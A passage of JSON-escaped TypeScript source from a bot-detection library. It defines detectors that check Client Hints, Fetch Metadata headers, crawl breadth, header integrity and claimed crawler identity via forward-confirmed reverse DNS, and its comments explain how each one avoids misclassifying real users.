\"bot\",\n certainty: \"moderate\",\n // Tighter rhythm, more weight — but capped, because a polling frontend is a\n // perfectly ordinary explanation.\n weight: coefficientOfVariation < regularityThreshold / 2 ? 0.45 : 0.3,\n botClass: \"scraper\",\n metadata: {\n samples: count,\n meanIntervalMs: Math.round(mean),\n coefficientOfVariation: Number(coefficientOfVariation.toFixed(4)),\n },\n };\n },\n };\n}\n","import type { ActorSnapshot, Evidence, RequestFacts } from \"../types.js\";\nimport type { ParsedUserAgent } from \"../internal/ua.js\";\nimport type { MultiPatternMatcher } from \"../internal/matcher.js\";\nimport type { BotSignature } from \"./known-bots.js\";\nimport type { ActorState } from \"../state.js\";\nimport type { Clock } from \"../internal/clock.js\";\nimport type { IpRangeSet } from \"../internal/ip.js\";\nimport type { DnsResolver } from \"../internal/dns.js\";\n\n/**\n * Everything a detector is allowed to see.\n *\n * Detectors get a read-only view of the request plus the small number of services\n * they legitimately need. They deliberately do **not** get the config object, the\n * policy, or the response — a detector that can see the policy is a detector that\n * will eventually be written to game it, and a detector that can touch the response\n * has stopped being a detector.\n */\nexport interface DetectionContext {\n readonly facts: RequestFacts;\n /** The User-Agent, parsed once per request and shared by every detector. */\n readonly ua: ParsedUserAgent;\n /** Accumulated history for this actor. Read-only here; the engine owns mutation. */\n readonly actor: ActorSnapshot;\n /** The mutable state record behind the snapshot, for detectors that need the raw series. */\n readonly state: ActorState;\n readonly clock: Clock;\n /** Compiled known-bot signatures, matched in a single pass. */\n readonly signatures: MultiPatternMatcher<BotSignature>;\n /** Signature matches for this request's UA, computed once and cached here. */\n readonly signatureMatches: readonly BotSignature[];\n /** DNS access for identity verification. Already timeout-bounded by the engine. */\n readonly resolver: DnsResolver;\n /** Named IP range sets from config: `allowlist`, `denylist`, `datacenter`, and per-crawler ranges. */\n readonly ranges: ReadonlyMap<string, IpRangeSet>;\n /** Scratch space shared between detectors within one request. Cleared afterwards. */\n readonly shared: Map<string, unknown>;\n}\n\n/** Detectors return evidence, never verdicts. Combining evidence is the engine's job. */\nexport type DetectorResult = Evidence | readonly Evidence[] | undefined | null;\n\nexport interface Detector {\n /** Stable id. Appears in evidence, rules, logs and metrics — treat it as public API. */\n id: string;\n /** One line, shown in `describeDetectors()` and in generated documentation. */\n description: string;\n /**\n * `cheap` detectors are pure and synchronous: string and header inspection only.\n * `io` detectors may touch DNS or a shared store, so the engine wraps them in a\n * timeout and runs them concurrently. Mislabelling a blocking detector as `cheap`\n * puts an unbounded await on the request path — the one thing this pipeline must\n * never do.\n */\n cost?: \"cheap\" | \"io\";\n /**\n * `always` runs on every request. `confirming` runs only once a primary detector\n * has produced something worth checking — used by reverse-DNS verification, which\n * has no reason to resolve anything for a request that made no identity claim.\n */\n stage?: \"always\" | \"confirming\";\n inspect(context: DetectionContext): DetectorResult | Promise<DetectorResult>;\n}\n\n/** Convenience for the common case of returning a single piece of evidence. */\nexport function evidence(input: Evidence): Evidence {\n return input;\n}\n\n/**\n * Whether a *missing* header may be treated as evidence.\n *\n * False when the source told us its header set is incomplete. Any check phrased as\n * \"the client did not send X\" has to consult this first; a check phrased as \"the\n * client sent X and it contradicts Y\" does not, because presence is still presence.\n */\nexport function absenceIsMeaningful(context: DetectionContext): boolean {\n return context.facts.partialHeaders !== true;\n}\n","import { sendsModernHeaders } from \"../internal/ua.js\";\nimport { absenceIsMeaningful } from \"./types.js\";\nimport type { Detector, DetectionContext } from \"./types.js\";\nimport type { Evidence } from \"../types.js\";\n\n/**\n * Cross-checks User-Agent Client Hints against the legacy User-Agent string.\n *\n * A real Chromium browser generates both from the same internal state, so they\n * always agree. A client that rewrites one and forgets the other contradicts itself,\n * and a contradiction is visible from a single request with no history, no state and\n * no network call — which makes this one of the cheapest high-value checks there is.\n *\n * **Why none of this is `certain`, despite being a genuine contradiction.** The\n * population that rewrites a User-Agent without touching Client Hints is not only\n * scrapers: it is also every person running a UA-spoofing privacy extension, every\n * enterprise browser with a rewritten UA policy, and every developer with device\n * emulation open. Those are real people, and a `certain` tier that swept them up\n * would make the word meaningless. So these observations score — sometimes heavily —\n * and never block on their own. The lone exception is a hint that *self-declares*\n * headless operation, which is a statement rather than an inference.\n */\nexport function clientHintsDetector(): Detector {\n return {\n id: \"client-hints\",\n description: \"Cross-checks Sec-CH-UA hints against the User-Agent string for self-contradiction\",\n cost: \"cheap\",\n stage: \"always\",\n\n inspect(ctx: DetectionContext): Evidence[] | undefined {\n const { headers, protocol } = ctx.facts;\n const brandsHeader = headers[\"sec-ch-ua\"];\n const results: Evidence[] = [];\n const claimsChromium = ctx.ua.engine === \"blink\";\n\n if (brandsHeader !== undefined) {\n const brands = parseBrandList(brandsHeader);\n\n // A brand list is client-supplied text, and some automation runtimes leave\n // \"HeadlessChrome\" in it. That is a declaration, not a deduction.\n const headless = brands.find((brand) => /headless/i.test(brand.name));\n if (headless) {\n results.push({\n detector: \"client-hints\",\n summary: `Sec-CH-UA brand list names \"${headless.name}\"`,\n direction: \"bot\",\n certainty: \"certain\",\n botClass: \"automation\",\n deterministicBasis: \"The client's own Client Hints brand list states that it is a headless browser build. As with a self-declaring User-Agent, believing the client's statement about itself cannot misclassify an honest client.\",\n metadata: { brands: brands.map((brand) => brand.name) },\n });\n }\n\n if (!claimsChromium) {\n results.push({\n detector: \"client-hints\",\n summary: `Sec-CH-UA present but User-Agent claims ${ctx.ua.browser ?? \"a non-Chromium client\"}, which does not send it`,\n direction: \"bot\",\n certainty: \"strong\",\n weight: 0.65,\n botClass: \"impersonator\",\n family: \"ua-rewritten\",\n metadata: { brands: brands.map((brand) => brand.name), userAgentBrowser: ctx.ua.browser },\n });\n } else {\n const versionConflict = findVersionConflict(brands, ctx.ua.majorVersion);\n if (versionConflict) {\n results.push({\n detector: \"client-hints\",\n summary: versionConflict,\n direction: \"bot\",\n certainty: \"strong\",\n weight: 0.6,\n botClass: \"impersonator\",\n family: \"ua-rewritten\",\n metadata: { brands: brands.map((brand) => `${brand.name}/${brand.version}`), userAgentVersion: ctx.ua.majorVersion },\n });\n }\n }\n\n const platform = headers[\"sec-ch-ua-platform\"];\n if (platform !== undefined && ctx.ua.os !== undefined) {\n const hinted = normalizePlatform(platform);\n if (hinted !== undefined && hinted !== ctx.ua.os) {\n results.push({\n detector: \"client-hints\",\n summary: `Sec-CH-UA-Platform says ${hinted} but the User-Agent describes ${ctx.ua.os}`,\n direction: \"bot\",\n certainty: \"strong\",\n weight: 0.7,\n botClass: \"impersonator\",\n family: \"ua-rewritten\",\n metadata: { hintedPlatform: hinted, userAgentOs: ctx.ua.os },\n });\n }\n }\n\n // `Sec-CH-UA-Full-Version-List` is the high-entropy twin of `Sec-CH-UA`,\n // sent once a server has advertised `Accept-CH`. It carries the same brands\n // with complete version numbers, from the same internal state — so it agrees\n // with the User-Agent in a real browser, and a client that rewrote one header\n // and not the other contradicts itself twice.\n const fullList = headers[\"sec-ch-ua-full-version-list\"];\n if (fullList !== undefined && claimsChromium) {\n const fullConflict = findVersionConflict(parseBrandList(fullList), ctx.ua.majorVersion);\n if (fullConflict) {\n results.push({\n detector: \"client-hints\",\n summary: fullConflict.replace(\"Sec-CH-UA\", \"Sec-CH-UA-Full-Version-List\"),\n direction: \"bot\",\n certainty: \"strong\",\n weight: 0.6,\n botClass: \"impersonator\",\n family: \"ua-rewritten\",\n metadata: { header: \"sec-ch-ua-full-version-list\", userAgentVersion: ctx.ua.majorVersion },\n });\n }\n }\n\n // `Sec-CH-UA-Model` is the device model, and Chromium sends a non-empty value\n // on Android and on nothing else — a desktop reports `\"\"`. A populated model\n // beside a desktop platform is two answers to the same question.\n //\n // The neighbouring high-entropy hints are deliberately *not* cross-checked.\n // `Sec-CH-UA-Arch` and `-Bitness` describe the real machine while the\n // User-Agent's architecture tokens have been frozen for years — Chrome on\n // Apple Silicon still says `Intel Mac OS X 10_15_7` — so every honest ARM Mac\n // \"contradicts\" itself, and a detector that reported it would be reading the\n // freeze rather than the client.\n const model = headers[\"sec-ch-ua-model\"];\n const platformName = headers[\"sec-ch-ua-platform\"] !== undefined ? normalizePlatform(headers[\"sec-ch-ua-platform\"]) : undefined;\n if (model !== undefined && model.replace(/\"/g, \"\").trim().length > 0 && platformName !== undefined && DESKTOP_PLATFORMS.has(platformName)) {\n results.push({\n detector: \"client-hints\",\n summary: `Sec-CH-UA-Model names a device (${model.replace(/\"/g, \"\").trim().slice(0, 40)}) while Sec-CH-UA-Platform says ${platformName}, which reports no model`,\n direction: \"bot\",\n certainty: \"moderate\",\n botClass: \"impersonator\",\n family: \"ua-rewritten\",\n metadata: { model: model.slice(0, 60), platform: platformName },\n });\n }\n\n const mobileHint = headers[\"sec-ch-ua-mobile\"];\n if (mobileHint !== undefined) {\n const hintsMobile = mobileHint.trim() === \"?1\";\n // The `Mobile` product token, not the operating system name. Chromium adds\n // `Mobile` on phones and omits it on tablets, and sets `Sec-CH-UA-Mobile`\n // from the same state — so an Android *tablet* correctly reports `?0` while\n // its User-Agent still says Android. Testing for the OS instead of the token\n // reported a contradiction on every Android tablet on the web.\n const uaMobile = /\\bmobile\\b/i.test(ctx.ua.lower) || ctx.ua.lower.includes(\"iphone\");\n if (hintsMobile !== uaMobile) {\n results.push({\n detector: \"client-hints\",\n summary: `Sec-CH-UA-Mobile says ${hintsMobile ? \"mobile\" : \"desktop\"} but the User-Agent says the opposite`,\n direction: \"bot\",\n certainty: \"moderate\",\n botClass: \"impersonator\",\n family: \"ua-rewritten\",\n metadata: { hint: mobileHint, userAgent: ctx.ua.raw.slice(0, 160) },\n });\n }\n }\n } else if (absenceIsMeaningful(ctx) && sendsModernHeaders(ctx.ua) && claimsChromium && protocol === \"https\" && (ctx.ua.majorVersion ?? 0) >= 89) {\n // Chromium has sent low-entropy hints on secure connections since v89. Their\n // absence is not a protocol violation — an intermediary can strip them, and\n // the header is omitted on plaintext — but on HTTPS it is a strong tell.\n results.push({\n detector: \"client-hints\",\n summary: `User-Agent claims Chromium ${ctx.ua.majorVersion} over HTTPS but sent no Sec-CH-UA hints`,\n direction: \"bot\",\n certainty: \"strong\",\n weight: 0.6,\n botClass: \"impersonator\",\n // The same intermediary that strips these strips the Fetch Metadata group\n // and the negotiation headers; see `Evidence.family`.\n family: \"stripped-headers\",\n metadata: { browser: ctx.ua.browser, majorVersion: ctx.ua.majorVersion },\n });\n }\n\n return results.length > 0 ? results : undefined;\n },\n };\n}\n\n/** Platforms whose Chromium builds report an empty `Sec-CH-UA-Model`. */\nconst DESKTOP_PLATFORMS: ReadonlySet<string> = new Set([\"windows\", \"macos\", \"linux\", \"chromeos\"]);\n\ninterface Brand {\n name: string;\n version: string;\n}\n\n/** Parses `\"Chromium\";v=\"122\", \"Not(A:Brand\";v=\"24\"` into brand/version pairs. */\nfunction parseBrandList(value: string): Brand[] {\n const brands: Brand[] = [];\n // Bounded: a hostile client can send a very long header, and this runs per request.\n const source = value.length > 512 ? value.slice(0, 512) : value;\n const pattern = /\"((?:[^\"\\\\]|\\\\.){0,64})\"\\s*;\\s*v\\s*=\\s*\"([^\"]{0,16})\"/g;\n for (let match = pattern.exec(source); match !== null; match = pattern.exec(source)) {\n brands.push({ name: match[1]!, version: match[2]! });\n if (brands.length >= 12) break;\n }\n return brands;\n}\n\n/**\n * Chromium's \"GREASE\" brand — a deliberately nonsensical entry browsers include so\n * that servers cannot hard-code the brand list. Ignoring it is required for\n * correctness, not an optimisation.\n */\nfunction isGrease(name: string): boolean {\n return /not[^a-z0-9]*a[^a-z0-9]*brand/i.test(name) || /^\\s*$/.test(name);\n}\n\nfunction findVersionConflict(brands: Brand[], uaMajor: number | undefined): string | undefined {\n if (uaMajor === undefined || !Number.isFinite(uaMajor)) return undefined;\n const real = brands.filter((brand) => !isGrease(brand.name));\n if (real.length === 0) return undefined;\n // A real Chromium reports the same major version in every non-GREASE brand.\n const agrees = real.some((brand) => Number.parseInt(brand.version, 10) === uaMajor);\n if (agrees) return undefined;\n return `Sec-CH-UA reports version ${real.map((brand) => brand.version).join(\"/\")} but the User-Agent claims ${uaMajor}`;\n}\n\nfunction normalizePlatform(header: string): string | undefined {\n const value = header.replace(/\"/g, \"\").trim().toLowerCase();\n switch (value) {\n case \"windows\":\n return \"windows\";\n case \"macos\":\n return \"macos\";\n case \"linux\":\n return \"linux\";\n case \"android\":\n return \"android\";\n case \"ios\":\n return \"ios\";\n case \"chrome os\":\n case \"chromeos\":\n return \"chromeos\";\n default:\n // \"Unknown\" and anything unrecognised: no claim, so nothing to contradict.\n return undefined;\n }\n}\n","import { MAX_TRACKED_PATHS } from \"../state.js\";\nimport type { Detector, DetectionContext } from \"./types.js\";\nimport type { Evidence } from \"../types.js\";\n\nexport interface CrawlBreadthOptions {\n /**\n * Distinct paths from one actor at or above which breadth is worth reporting.\n * Default 30. Cannot exceed {@link MAX_TRACKED_PATHS}, which is where the count\n * saturates; asking for more throws rather than never firing.\n */\n threshold?: number;\n /** Fraction of requests that must be to a path not seen before. Default 0.85. */\n noveltyRatio?: number;\n /** Minimum requests before the ratio is meaningful. Default 20. */\n minRequests?: number;\n}\n\n/**\n * Is this actor *reading* the site or *enumerating* it?\n *\n * A person revisits. They land on an article, go back to the index, follow a related\n * link, return to the article. Their ratio of distinct paths to total requests\n * settles well below one. A crawler walking a sitemap almost never revisits, so its\n * ratio sits near one and its distinct-path count climbs steadily.\n *\n * Worth being clear about what this cannot distinguish: a *welcome* crawler produces\n * exactly this shape, and so does a person on a first visit to a documentation site\n * clicking through the sidebar. It is a shape, not a motive — which is why it stays\n * `weak` and why the interesting use is combining it with an actor that has already\n * failed a header check.\n */\nexport function crawlBreadthDetector(options: CrawlBreadthOptions = {}): Detector {\n const threshold = options.threshold ?? 30;\n const noveltyRatio = options.noveltyRatio ?? 0.85;\n const minRequests = options.minRequests ?? 20;\n if (threshold > MAX_TRACKED_PATHS) {\n throw new RangeError(\n `crawlBreadthDetector threshold ${threshold} can never be reached: an actor's distinct-path count saturates at ${MAX_TRACKED_PATHS}. Use ${MAX_TRACKED_PATHS} or fewer.`,\n );\n }\n\n return {\n id: \"crawl-breadth\",\n description: \"Compares distinct paths against total requests to distinguish reading a site from enumerating it\",\n cost: \"cheap\",\n stage: \"always\",\n\n inspect(ctx: DetectionContext): Evidence | undefined {\n const { distinctPaths, total, pathsSaturated } = ctx.state;\n if (total < minRequests || distinctPaths < threshold) return undefined;\n\n // The denominator is the window over which the numerator could still grow.\n //\n // `distinctPaths` stops at a cap; `total` does not. Dividing one by the other\n // once the cap is hit made the ratio fall as an actor kept crawling, so the\n // detector went quiet in proportion to how hard something was enumerating the\n // site: a crawler that pulled 300 pages without one revisit reported 21% novelty\n // and read as somebody rereading the same handful of articles. Measured over the\n // requests before saturation, that same crawler reports 98%, which is what it is.\n const measuredOver = pathsSaturated ? ctx.state.requestsWhenPathsSaturated : total;\n const ratio = measuredOver > 0 ? distinctPaths / measuredOver : 0;\n if (ratio < noveltyRatio) return undefined;\n\n return {\n detector: \"crawl-breadth\",\n summary: pathsSaturated\n ? `at least ${distinctPaths} distinct paths, ${(ratio * 100).toFixed(0)}% of the first ${measuredOver} requests never revisited`\n : `${distinctPaths} distinct paths across ${total} requests (${(ratio * 100).toFixed(0)}% never revisited)`,\n direction: \"bot\",\n certainty: \"weak\",\n weight: ctx.state.pathsSaturated ? 0.25 : 0.15,\n botClass: \"scraper\",\n metadata: {\n distinctPaths,\n totalRequests: total,\n noveltyRatio: Number(ratio.toFixed(3)),\n measuredOverRequests: measuredOver,\n saturated: pathsSaturated,\n },\n };\n },\n };\n}\n","import { forwardConfirmedReverseDns } from \"../internal/dns.js\";\nimport type { Detector, DetectionContext } from \"./types.js\";\nimport type { Evidence } from \"../types.js\";\nimport type { BotSignature } from \"./known-bots.js\";\n\nexport interface CrawlerVerificationOptions {\n /**\n * Treat an address with no PTR record as a forged claim. Default true.\n *\n * Every operator whose crawler this applies to publishes PTR records precisely so\n * that servers can check them; a claimed Googlebot with no reverse DNS at all is\n * not a configuration accident, it is the cheapest possible forgery. Set false if\n * you have a resolver that cannot be trusted to distinguish NXDOMAIN from failure.\n */\n treatMissingPtrAsForgery?: boolean;\n /**\n * Also assert forgery for `ip-ranges` crawlers when ranges *are* configured and the\n * client is outside them. Default true. Has no effect for a crawler whose ranges\n * you have not supplied — an unverifiable claim stays unverified, never accused.\n */\n useConfiguredRanges?: boolean;\n}\n\n/**\n * Confirms or refutes a claimed crawler identity against an authority outside the\n * request.\n *\n * This is the only detector that can produce `verified-bot`, and the only one that\n * can produce a `certain` `impersonator`. Both directions matter:\n *\n * - **Confirmed** — the operator's own DNS vouches for this address. Forging it needs\n * control of `googlebot.com`'s DNS, so a pass here is proof, and the default policy\n * uses it to *allow*: your SEO does not deserve to be collateral damage from a bot\n * rule.\n * - **Refuted** — the client specifically claimed to be a named third party and the\n * claim is false. Note how narrow that is. A privacy extension rewriting a UA to a\n * generic browser string never lands here, because it never claims to be Googlebot.\n * Only a deliberate forgery of a *verifiable* identity does, which is why this one\n * is allowed to block.\n *\n * Anything short of a clear answer — a timeout, SERVFAIL, an unconfigured range list\n * — yields nothing at all. Silence is never treated as an accusation.\n */\nexport function crawlerVerificationDetector(options: CrawlerVerificationOptions = {}): Detector {\n const missingPtrIsForgery = options.treatMissingPtrAsForgery ?? true;\n const useRanges = options.useConfiguredRanges ?? true;\n\n return {\n id: \"crawler-verification\",\n description: \"Confirms or refutes a claimed crawler identity via forward-confirmed reverse DNS or published IP ranges\",\n cost: \"io\",\n // Only runs when something already claimed an identity. A request that named no\n // crawler gives us nothing to verify, and resolving DNS for it would be pure cost.\n stage: \"confirming\",\n\n async inspect(ctx: DetectionContext): Promise<Evidence[] | undefined> {\n const claims = ctx.signatureMatches.filter((signature) => signature.verification.kind !== \"none\");\n if (claims.length === 0) return undefined;\n\n const results: Evidence[] = [];\n for (const claim of claims) {\n const outcome = await verifyClaim(ctx, claim, { missingPtrIsForgery, useRanges });\n if (outcome) results.push(outcome);\n }\n return results.length > 0 ? results : undefined;\n },\n };\n}\n\nasync function verifyClaim(\n ctx: DetectionContext,\n signature: BotSignature,\n flags: { missingPtrIsForgery: boolean; useRanges: boolean },\n): Promise<Evidence | undefined> {\n if (signature.verification.kind === \"ip-ranges\") {\n if (!flags.useRanges) return undefined;\n const ranges = ctx.ranges.get(`crawler:${signature.id}`);\n // No ranges configured for this crawler: the claim is simply unverifiable here.\n // Producing \"suspicious because we could not check\" would be exactly backwards.\n if (!ranges || ranges.size === 0) return undefined;\n\n const matched = ranges.match(ctx.facts.ip);\n if (matched !== undefined) {\n return {\n detector: \"crawler-verification\",\n summary: `${signature.name} confirmed: client is inside the operator's published IP ranges`,\n direction: \"bot\",\n certainty: \"certain\",\n botClass: \"verified-bot\",\n identity: signature.id,\n deterministicBasis: `The address falls in ${matched}, a range ${signature.name}'s operator publishes as its own. Appearing there requires controlling that network.`,\n metadata: { signatureId: signature.id, range: matched, method: \"ip-ranges\" },\n };\n }\n return {\n detector: \"crawler-verification\",\n summary: `Client claims to be ${signature.name} but is outside the operator's published IP ranges`,\n direction: \"bot\",\n certainty: \"certain\",\n botClass: \"impersonator\",\n identity: signature.id,\n deterministicBasis: `The client named itself ${signature.name}, whose operator publishes the exhaustive set of addresses it crawls from. This address is not among them, so the claim is false regardless of intent.`,\n metadata: { signatureId: signature.id, method: \"ip-ranges\", ip: ctx.facts.ip },\n };\n }\n\n if (signature.verification.kind !== \"fcrdns\") return undefined;\n\n const outcome = await forwardConfirmedReverseDns(ctx.resolver, ctx.facts.ip, signature.verification.domains);\n\n if (outcome.status === \"verified\") {\n return {\n detector: \"crawler-verification\",\n summary: `${signature.name} confirmed by forward-confirmed reverse DNS (${outcome.hostname})`,\n direction: \"bot\",\n certainty: \"certain\",\n botClass: \"verified-bot\",\n identity: signature.id,\n deterministicBasis: `The address reverse-resolves to ${outcome.hostname} under a domain ${signature.name}'s operator controls, and that name forward-resolves back to this address. Faking both halves requires authority over the operator's DNS.`,\n metadata: { signatureId: signature.id, hostname: outcome.hostname, method: \"fcrdns\" },\n };\n }\n\n if (outcome.status === \"contradicted\") {\n if (outcome.cause === \"no-ptr\" && !flags.missingPtrIsForgery) return undefined;\n return {\n detector: \"crawler-verification\",\n summary: `Client claims to be ${signature.name}, but DNS refutes it: ${outcome.reason}`,\n direction: \"bot\",\n certainty: \"certain\",\n botClass: \"impersonator\",\n identity: signature.id,\n deterministicBasis: `The client named itself ${signature.name}, an identity its operator publishes a DNS-based proof for. The lookup returned a definitive answer and that answer contradicts the claim: ${outcome.reason}.`,\n metadata: { signatureId: signature.id, cause: outcome.cause, reason: outcome.reason, method: \"fcrdns\", ...(outcome.hostname ? { hostname: outcome.hostname } : {}) },\n };\n }\n\n // Indeterminate. Deliberately silent — see this file's header.\n return undefined;\n}\n","import { sendsModernHeaders } from \"../internal/ua.js\";\nimport { absenceIsMeaningful } from \"./types.js\";\nimport type { Detector, DetectionContext } from \"./types.js\";\nimport type { Evidence } from \"../types.js\";\n\n/** First major version of each engine to ship Fetch Metadata by default. */\nconst FETCH_METADATA_SINCE: Record<string, number> = { blink: 76, gecko: 90 };\n\nconst VALID_SITE = new Set([\"cross-site\", \"same-origin\", \"same-site\", \"none\"]);\nconst VALID_MODE = new Set([\"cors\", \"navigate\", \"no-cors\", \"same-origin\", \"websocket\"]);\n\n/**\n * Checks the Fetch Metadata headers (`Sec-Fetch-Site`, `-Mode`, `-Dest`, `-User`).\n *\n * These are *forbidden* headers: page JavaScript cannot set or alter them, so in a\n * real browser they are generated by the network stack from the actual context of\n * the request. That makes them unusually hard to fake convincingly — a client\n * assembling requests by hand either omits them or picks a combination the browser\n * would never produce.\n *\n * Two failure modes are checked. **Absence** on an engine known to send them, over\n * HTTPS, where they should be present. And **incoherence** — a `Sec-Fetch-Dest:\n * document` that is not a navigation describes a request no browser makes.\n *\n * Neither is `certain`, for the same reason as elsewhere: a stripping proxy in front\n * of your server produces the first, and an unusual-but-real client integration can\n * produce the second. Together with a matching header set, though, they are among\n * the sharpest probabilistic signals available.\n */\nexport function fetchMetadataDetector(): Detector {\n return {\n id: \"fetch-metadata\",\n description: \"Checks Sec-Fetch-* headers for absence on engines that send them, and for internally incoherent combinations\",\n cost: \"cheap\",\n stage: \"always\",\n\n inspect(ctx: DetectionContext): Evidence[] | undefined {\n const { headers, protocol } = ctx.facts;\n const site = headers[\"sec-fetch-site\"];\n const mode = headers[\"sec-fetch-mode\"];\n const dest = headers[\"sec-fetch-dest\"];\n const results: Evidence[] = [];\n\n if (site === undefined && mode === undefined && dest === undefined) {\n if (!absenceIsMeaningful(ctx)) return undefined;\n // A Chromium fork or an embedded build cannot be assumed to send these.\n if (!sendsModernHeaders(ctx.ua)) return undefined;\n // Only Safari's older releases are exempt, and we cannot reliably date a\n // Safari build from its UA, so we check only Blink and Gecko.\n const since = ctx.ua.engine !== undefined ? FETCH_METADATA_SINCE[ctx.ua.engine] : undefined;\n if (since !== undefined && protocol === \"https\" && (ctx.ua.majorVersion ?? 0) >= since) {\n results.push({\n detector: \"fetch-metadata\",\n summary: `User-Agent claims ${ctx.ua.browser} ${ctx.ua.majorVersion} over HTTPS but sent no Sec-Fetch-* headers`,\n direction: \"bot\",\n certainty: \"strong\",\n weight: 0.6,\n botClass: \"impersonator\",\n family: \"stripped-headers\",\n metadata: { engine: ctx.ua.engine, majorVersion: ctx.ua.majorVersion },\n });\n }\n return results.length > 0 ? results : undefined;\n }\n\n // A document destination is, by definition, a navigation. Anything else is a\n // combination the browser's own network stack would not assemble.\n if (dest === \"document\" && mode !== undefined && mode !== \"navigate\") {\n results.push({\n detector: \"fetch-metadata\",\n summary: `Incoherent Fetch Metadata: Sec-Fetch-Dest is \"document\" but Sec-Fetch-Mode is \"${mode}\"`,\n direction: \"bot\",\n certainty: \"strong\",\n weight: 0.7,\n botClass: \"impersonator\",\n metadata: { dest, mode, site },\n });\n }\n\n // `Sec-Fetch-User: ?1` marks a navigation the *user* initiated. It is only ever\n // sent on navigations, and its only legal value is `?1`.\n //\n // The mode half is checked only when a mode was actually received — the same\n // guard the destination check above uses, and it was missing here. Written as\n // `mode !== \"navigate\"` it also fired when the header was simply not in front of\n // us: a real Chrome navigation replayed from a log that recorded Sec-Fetch-User\n // but not Sec-Fetch-Mode was accused on the strength of an absence, with the\n // `?1` it did send being exactly right.\n const user = headers[\"sec-fetch-user\"];\n if (user !== undefined && (user.trim() !== \"?1\" || (mode !== undefined && mode !== \"navigate\"))) {\n results.push({\n detector: \"fetch-metadata\",\n summary: `Sec-Fetch-User sent as \"${user.slice(0, 16)}\" with mode \"${mode ?? \"absent\"}\"; browsers send it only as ?1 on user-initiated navigations`,\n direction: \"bot\",\n certainty: \"moderate\",\n botClass: \"impersonator\",\n metadata: { user: user.slice(0, 16), mode },\n });\n }\n\n for (const [name, value, allowed] of [\n [\"sec-fetch-site\", site, VALID_SITE],\n [\"sec-fetch-mode\", mode, VALID_MODE],\n ] as const) {\n if (value !== undefined && !allowed.has(value.trim().toLowerCase())) {\n results.push({\n detector: \"fetch-metadata\",\n summary: `${name} has the non-standard value \"${value.slice(0, 32)}\"`,\n direction: \"bot\",\n certainty: \"moderate\",\n botClass: \"impersonator\",\n metadata: { header: name, value: value.slice(0, 32) },\n });\n }\n }\n\n return results.length > 0 ? results : undefined;\n },\n };\n}\n","import { claimsBrowser } from \"../internal/ua.js\";\nimport { absenceIsMeaningful } from \"./types.js\";\nimport type { Detector, DetectionContext } from \"./types.js\";\nimport type { Evidence } from \"../types.js\";\n\n/** Headers HTTP/2 and HTTP/3 forbid outright. Sending one is a protocol violation, not a preference. */\nconst CONNECTION_SPECIFIC = [\"connection\", \"keep-alive\", \"proxy-connection\", \"transfer-encoding\", \"upgrade\"] as const;\n\n/**\n * Fields a message may carry at most once, split by what a second copy means.\n *\n * `malformed` is the set RFC 9112 requires a recipient to *reject*: a second `Host`\n * or a second `Content-Length` makes the message length or target ambiguous, which is\n * the ambiguity every request-smuggling technique is built on. No client stack in\n * existence emits either, because emitting one breaks the client's own connection\n * through any compliant proxy.\n *\n * `singleton` is the weaker set — duplicating them is bad practice rather than a\n * violation, and it is what you get from a script that appends a header the library\n * already set. `cookie` is deliberately absent: HTTP/2 explicitly permits splitting\n * it across several fields, and a browser does exactly that.\n */\nconst MALFORMED_IF_REPEATED = [\"host\", \"content-length\"] as const;\nconst SINGLETON_HEADERS = [\"user-agent\", \"accept\", \"accept-encoding\", \"accept-language\", \"referer\", \"content-type\", \"authorization\", \"range\"] as const;\n\nexport interface HeaderIntegrityOptions {\n /** Report a browser-claiming client that omits `Accept-Language`. Default true. */\n checkAcceptLanguage?: boolean;\n}\n\n/** Header names that arrived more than once, from the wire-order list. */\nfunction repeatedHeaders(order: readonly string[]): Set<string> {\n const repeated = new Set<string>();\n if (order.length < 2) return repeated;\n const seen = new Set<string>();\n for (const name of order) {\n if (seen.has(name)) repeated.add(name);\n else seen.add(name);\n }\n return repeated;\n}\n\n/**\n * Does this request's header set match the client it claims to be?\n *\n * Browsers are extremely consistent about which headers they attach; HTTP libraries\n * attach the minimum that gets a response. The gap between the two is one of the\n * most reliable probabilistic signals available from a single request.\n *\n * Almost everything here is deliberately kept below `certain`, because headers pass\n * through corporate proxies, CDNs, privacy extensions and mobile carrier\n * transcoders, any of which will strip or rewrite them for an entirely real person.\n *\n * The exceptions are the three genuine protocol violations: a connection-specific\n * header on HTTP/2 or HTTP/3, a message carrying both `Content-Length` and\n * `Transfer-Encoding`, and a repeated `Host` or `Content-Length`. Each is a rule the\n * specification requires a recipient to *enforce* rather than merely recommends, so a\n * client that breaks it cannot get a response through any compliant proxy — and each\n * is read from what the request *contains*, never from what it lacks. That second\n * property is the one doing the work: an absence is indistinguishable from a facts\n * source that dropped the header, and no absence in this file may reach `certain`.\n */\nexport function headerIntegrityDetector(options: HeaderIntegrityOptions = {}): Detector {\n const checkLanguage = options.checkAcceptLanguage ?? true;\n\n return {\n id: \"header-integrity\",\n description: \"Compares the request's header set against what the client it claims to be would send\",\n cost: \"cheap\",\n stage: \"always\",\n\n inspect(ctx: DetectionContext): Evidence[] | undefined {\n const { headers, httpVersion } = ctx.facts;\n const results: Evidence[] = [];\n\n // --- Protocol violation: the one deterministic check in this detector. ---\n if (httpVersion !== undefined && (httpVersion.startsWith(\"2\") || httpVersion.startsWith(\"3\"))) {\n const offending = CONNECTION_SPECIFIC.filter((name) => headers[name] !== undefined);\n if (offending.length > 0) {\n results.push({\n detector: \"header-integrity\",\n summary: `HTTP/${httpVersion} request carries connection-specific header(s): ${offending.join(\", \")}`,\n direction: \"bot\",\n certainty: \"certain\",\n botClass: \"http-client\",\n deterministicBasis: `RFC 9113 §8.2.2 forbids connection-specific header fields in HTTP/2 and HTTP/3, and requires endpoints to treat them as malformed. Every browser and every maintained HTTP library complies; a request carrying one was assembled field-by-field by something that does not implement the protocol.`,\n metadata: { httpVersion, headers: offending },\n });\n }\n }\n\n // --- The message contradicts the framing rules of its own protocol. ---\n //\n // Everything in this block is `certain` for the same reason as the check above:\n // the specification does not merely discourage these, it requires a recipient to\n // refuse the message. A client that emits one cannot talk to a compliant proxy,\n // a CDN or a load balancer, so no shipping client emits one — which leaves\n // requests assembled by hand, and, overwhelmingly, requests assembled by hand\n // *for a purpose*: an ambiguous message length is the basis of every\n // request-smuggling technique there is.\n //\n // Worth knowing where this check does and does not apply: Node's own HTTP parser\n // answers 400 to a CL+TE message before a handler ever runs, so on a plain Node\n // server this branch is unreachable — the corpus's wire replay proved exactly\n // that and now skips the case. It earns its place for facts built where Node's\n // parser is not in the path: an edge worker, a WAF event, a log line, or another\n // runtime.\n if (headers[\"content-length\"] !== undefined && headers[\"transfer-encoding\"] !== undefined) {\n 